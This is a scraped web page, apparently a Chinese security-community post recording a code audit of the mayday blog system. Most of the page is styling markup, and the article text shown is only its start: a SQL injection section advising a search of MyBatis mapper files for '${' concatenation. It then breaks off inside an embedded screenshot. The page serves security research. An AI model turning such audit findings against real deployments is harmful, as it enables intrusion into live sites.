EsMTMzLjIsNTQuOSwxMzAuNyw1OC40eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMjEzLjIsNTQuNmMtMC41LTAuMi0xLjItMC43LTIuMS0xLjRjLTEuOC0xLjQtMy4yLTIuMy00LjEtMi44YzQuOC04LjksOC4xLTE3LjksMTAtMjYuOGw3LjYsMS40CgljLTAuNSwxLjgtMS4zLDQuNC0yLjQsNy42Yy0wLjIsMS4yLTAuNSwyLTAuNywyLjRoMjQuMXY3LjJoLTEyYzAsOC43LTAuMSwxNC45LTAuMywxOC42aDE0LjFWNjhoLTE0LjhjMCwyLjMtMC4yLDQuNS0wLjcsNi41CgljMS42LDEuNiwzLjgsNCw2LjUsNy4yYzQuNiw0LjgsOCw4LjYsMTAuMywxMS40bC01LjgsNS4yYy0wLjktMS4yLTIuMy0yLjgtNC4xLTQuOGMtMS44LTIuMy00LjgtNS44LTguOS0xMC43CgljLTIuNSw3LjgtOC40LDE1LjUtMTcuNSwyMy4xYy0yLjMtMi44LTQuMS00LjgtNS41LTYuMmMxMS4yLTguOSwxNy4zLTE5LjUsMTguMi0zMS43aC0xNy4ydi03LjJoMTcuNWMwLjItMy45LDAuMy0xMC4xLDAuMy0xOC42CgloLTYuOUMyMTcuMSw0Ni4zLDIxNS4zLDUwLjQsMjEzLjIsNTQuNnogTTI1MS40LDEwMi43VjMxLjloMzUuOHY3MC41aC04LjN2LTcuNmgtMTkuNnY3LjlDMjU5LjMsMTAyLjcsMjUxLjQsMTAyLjcsMjUxLjQsMTAyLjd6CgkgTTI1OS4zLDM5LjR2NDcuOGgxOS42VjM5LjRIMjU5LjN6Ii8+CjxwYXRoIGNsYXNzPSJzdDAiIGQ9Ik0yOTcuMiw4MS4xYy0wLjItMC45LTAuNi0yLjMtMS00LjFjLTAuNy0xLjgtMS4yLTMuMi0xLjQtNC4xYzkuMi02LjIsMTYuNC0xNC4zLDIxLjctMjQuNGgtMTkuNnYtNi45aDI3LjV2Ny4yCgljLTIuNSw1LjUtNS40LDEwLjQtOC42LDE0Ljh2NDIuM2gtNy42VjcyLjFDMzA1LDc1LjEsMzAxLjQsNzguMSwyOTcuMiw4MS4xeiBNMzExLjcsNDAuNWMtMC4yLTAuNS0wLjYtMS4xLTEtMi4xCgljLTIuOC02LTQuNi05LjctNS41LTExLjRsNi45LTMuMWMwLjcsMS4yLDEuOCwzLjMsMy40LDYuNWMxLjYsMywyLjgsNS4yLDMuNCw2LjVMMzExLjcsNDAuNXogTTMyNi44LDgwLjcKCWMtMS42LTIuMS00LjctNS42LTkuMy0xMC43Yy0wLjItMC4yLTAuNS0wLjUtMC43LTAuN2w0LjgtNC41YzIuMSwxLjgsNC45LDQuNiw4LjYsOC4zYzEuMSwxLjIsMS45LDIsMi40LDIuNEwzMjYuOCw4MC43egoJIE0zMjguNSw1Ni42VjQ5aDE4LjZWMjQuM2g4LjN2MjQuOEgzNzV2Ny42aC0xOS42djM5LjJoMjIuNHY2LjloLTUzdi02LjloMjIuNFY1Ni42SDMyOC41eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMzg5LjgsMTAxLjRWMjkuMUg0NjJ2Ny42aC02NC4zdjU3LjhoNjUuN3Y2LjlIMzg5Ljh6IE00NTAuMyw5MC40Yy02LjItNi42LTEyLjYtMTMtMTkuMy0xOC45CgljLTYsNS43LTEzLjQsMTIuMy0yMi40LDE5LjZjLTEuNC0xLjYtMy40LTMuOC02LjItNi41YzguMy01LjcsMTUuOC0xMiwyMi43LTE4LjljLTYuOS02LjQtMTMuOC0xMi43LTIwLjYtMTguOWw2LjItNS4yTDQzMSw2MC4yCgljNS41LTYuMiwxMC45LTEyLjgsMTYuMi0yMGw3LjIsNC41Yy01LjcsNy42LTExLjYsMTQuNC0xNy41LDIwLjZjNi45LDYuNywxMy42LDEzLDIwLjMsMTguOUw0NTAuMyw5MC40eiIvPgo8L3N2Zz4K)}.brand-box{position:absolute}.related-section{min-height:42px;padding:5px 0;margin-top:25px;border-top:1px solid #eee}.related-section>.related-box{margin-top:17px}.related-section>.related-box>span{display:inline-block;padding:3px}.related-section>.related-box>span:nth-child(1){width:47%}.related-section>.related-box>span:nth-child(2){border-left:1px solid #eee;padding-left:8px;float:right;width:46%}.related-box .related-label{padding:3px 4px;margin-right:3px}@media screen{.navbar{margin-bottom:12px;overflow:visible}}@media screen and (min-width:1950px){}@media screen and (min-width:1660px) and (max-width:1945px){}@media screen and (min-width:1350px) and (max-width:1659px){}@media screen and (min-width:1100px) and (max-width:1349px){}@media only screen and (max-width:1100px){}@media only screen and (min-width:768px){}@media only screen and (max-width:736px){.brand{margin:0 auto}.brand-box{left:15px}}@media screen and (min-width:768px) and (max-width:1219px){}@media only screen and (min-width:320px) and (max-width:374px){}@media onlLine truncated
|
||||
<style>a{color:#778087}.topic-list p{margin:0}.topic-content{min-height:40px}.collapse form{position:relative;width:300px;float:right}div.search{padding:10px 0}.d1 input{height:20px;padding-left:18px;border:1px solid #ddd;border-radius:15px;outline:0;background:#fff;color:#9e9c9c;float:right}.vote{font-weight:normal;margin-left:6px}.topic-list{word-break:break-all;word-wrap:break-word}ul{margin:0 0 10px 0}/*!*border-bottom: solid #eee 1px;*!*/.user-info{padding:5px 0 5px 0}.topic-info a,.topic-info{padding-top:5px}.topic-info a:hover{text-decoration:solid}.reminder{min-height:200px;border:1px #ddd solid;border-radius:3px;line-height:200px;text-align:center}</style>
|
||||
<style>body{background-color:#eee}form{margin:0 !important}a:focus{text-decoration:none}.markdown-body p>code{white-space:normal;word-break:break-all;border:none !important}.box ul,ol{margin-bottom:0px !important}.box a:hover{text-decoration:none}.box-container>ul>li{list-style-type:none}#Wrapper .row.box{margin-left:0px}.navbar-inner{border-radius:0px;min-height:40px;padding-right:0px;padding-left:0px;outline:0;margin-bottom:0;list-style:none;z-index:1050;background:#fff;-webkit-box-shadow:0 1px 4px rgba(0,21,41,0.08);box-shadow:0 1px 4px rgba(0,21,41,0.08);line-height:46px;-webkit-transition:background .3s,width .2s;-o-transition:background .3s,width .2s;transition:background .3s,width .2s}.bs-docs-footer{text-align:left;color:#99979c;height:64px;background-color:#FFF;border-top:1px solid rgba(0,0,0,0.22);line-height:64px}.bs-docs-footer .links>a{display:inline-block;padding:0 12px;border-left:1px solid #e8e8e8;color:#8c8c8c;line-height:1}.bs-docs-footer .links>a:first-child{border-left:0}.box-container .user-info{margin-bottom:10px;background:#fff}.content-title{font-size:24px;color:#333;text-decoration:none;line-height:24px;text-shadow:0 1px 0#fff}.markdown-body h1{border-bottom:0}.box-container{padding:20px}.breadcrumb{padding:8px 10px 8px 15px;margin-bottom:10px;border-radius:0;color:#000;background-color:#fff}.breadcrumb>li{text-shadow:none !important;margin:2px 0px}.active{text-shadow:none !important}.breadcrumb .active{color:#555;display:inline-block;text-shadow:none !important}.label{background-color:#f4f4f4;line-height:12px;display:inline-block;padding:4px 4px 4px 4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;text-decoration:none;text-shadow:none;font-weight:normal}.topic-info{color:#999 !important;font-size:12px !important}.topic-info a{padding:0px;color:#555 !important;font-size:12px !important}.topic-info a:hover{color:#4d5256;text-decoration:underline}.topic-info .cell{padding-left:0 !important;margin-left:0px;font-size:10px;font-weight:bold}.markdown-body img{max-width:90% !important;text-align:center;margin-left:auto;margin-right:auto;display:block;padding:10px 0px 10px 0px}.topic-info span{margin-left:0px;font-size:10px;color:rgba(0,0,0,0.45)}.btn{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;background-color:#f4f4f4;color:#444;border-color:#ddd;font-family:"Helvetica Neue For Number",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;list-style:none;font-weight:400;text-align:center;cursor:pointer;background-image:none;white-space:nowrap;border-radius:2px;height:32px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.box{font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;color:rgba(0,0,0,0.65);-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:0 !important;margin-bottom:20px;padding:0;list-style:none;background:#fff;border-radius:2px;position:relative;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;-moz-box-shadow:0 1px 1px rgba(0,0,0,0.15);-webkit-box-shadow:0 1px 1px rgba(143,168,191,.35);box-shadow:0 1px 1px rgba(143,168,191,.35);border-bottom:1px solid #e2e2e9}.span10{float:left;min-height:1px}#Wrapper .span10{margin-left:0px !important;max-width:960px}@media(min-width:1200px){.container{width:82% !important}}@media screen and (min-width:1500px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:810px !important}}@media screen and (min-width:980px) and (max-width:1499px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:74% !important}}@media screen and (min-width:768px) and (max-width:979px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:90% !important}#Wrapper .span10{width:77% !important}.nav-collapse{clear:none !important;height:auto !important;overflow:auto !important;float:right}}@media screen and (max-width:767px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:100% !important}.topic-info .info-left,.topic-info .info-right{display:block}.topic-info .info-right{margin-top:10px}.topic-info span{margin-left:0px}}@media screen and (max-width:419px){body{padding-left:0px !important;padding-right:0px !important}}.content-node{padding-left:5px}@media(max-width:979px){.content-node{display:none}.t-vote{display:none !important}}@media(max-width:376px){}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}</style>
|
||||
<style>/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/.pull-right{float:right}.pull-left{float:left}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{color:#333;font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:15px;line-height:24px;letter-spacing:.05em;word-wrap:break-word}.markdown-body a{background:transparent}.markdown-body a:active,.markdown-body a:hover{outline:0}.markdown-body h1{margin:.67em 0}.markdown-body img{border:0}.markdown-body *{-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body a{color:#4183c4;text-decoration:none}.markdown-body a:hover,.markdown-body a:active{text-decoration:underline}.markdown-body code{font-family:Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body h1{position:relative;margin-top:1em;margin-bottom:16px;font-weight:bold}.markdown-body h1{padding-bottom:0em;font-size:28px;line-height:1.2}.markdown-body p{margin-top:0;margin-bottom:24px}.markdown-body img{max-width:100%;-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body code{padding:0;padding-top:.2em;padding-bottom:.2em;margin:0;font-size:85%;background-color:rgba(0,0,0,0.04);border-radius:3px}.markdown-body code:before,.markdown-body code:after{letter-spacing:-0.2em;content:" "}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
||||
<!--[if lte IE 8]>
|
||||
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
||||
<![endif]-->
|
||||
<!--[if !IE]> -->
|
||||
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="navbar navbar-default">
|
||||
<div class=navbar-inner>
|
||||
<div class=container style=text-align:center;position:relative>
|
||||
<!--[if lte IE 8]>
|
||||
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
||||
<![endif]-->
|
||||
<div class=brand-box>
|
||||
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
||||
</div>
|
||||
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13662&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
||||
登录</a>
|
||||
|
||||
<div class="nav-collapse collapse">
|
||||
<div class="search d1 text-right">
|
||||
<form action=/search>
|
||||
<input type=text placeholder=搜索 name=keyword value>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id=Wrapper class=container>
|
||||
|
||||
|
||||
<div class=row2>
|
||||
<div class=span10>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="row box content" width="1200px !important" style=width:1200px>
|
||||
|
||||
<div class=box-container>
|
||||
<div class=main-topic>
|
||||
<div class="clearfix user-info topic-list">
|
||||
<p><span class=content-title>快速审计记录(五)--某blog系统(mayday博客系统)</span>
|
||||
</p>
|
||||
<div class=topic-info>
|
||||
<span class=info-left>
|
||||
<a href=https://xz.aliyun.com/u/46194>
|
||||
<span class="username cell"> nihao123123</span></a> <span class=i-seprator> / </span>
|
||||
<span> 2024-02-13 21:48:27</span><span class=i-seprator> / </span>
|
||||
|
||||
<span>发表于河南 / </span>
|
||||
|
||||
<span>浏览数 309</span>
|
||||
|
||||
|
||||
<span class=content-node>
|
||||
|
||||
<span class="label label-default label-node-first">
|
||||
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
|
||||
<span class="label label-default">
|
||||
<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
||||
顶(0)</a>
|
||||
<a class="vote vote-down" href=javascript:void(0)>
|
||||
踩(0)</a></span>
|
||||
</div>
|
||||
</div>
|
||||
<hr>
|
||||
<div id=topic_content class="topic-content markdown-body">
|
||||
<h1 id=toc-0>SQL注入</h1>
|
||||
<p>首先去mapper.xml中去查找是否有<code>${</code>进行拼接的情况<br>
|
||||
<a id=img0 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707814441908-0737b8b5-f611-48ec-a484-35290f7e419d.png#averageHue=%23253034&clientId=u7eb54710-2f09-4&from=paste&height=198&id=lG49E&originHeight=297&originWidth=846&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=39520&status=done&style=none&taskId=u55f7536d-c600-4cf8-a305-23a8eaed69e&title=&width=564" title><img src="data:image/png;base64,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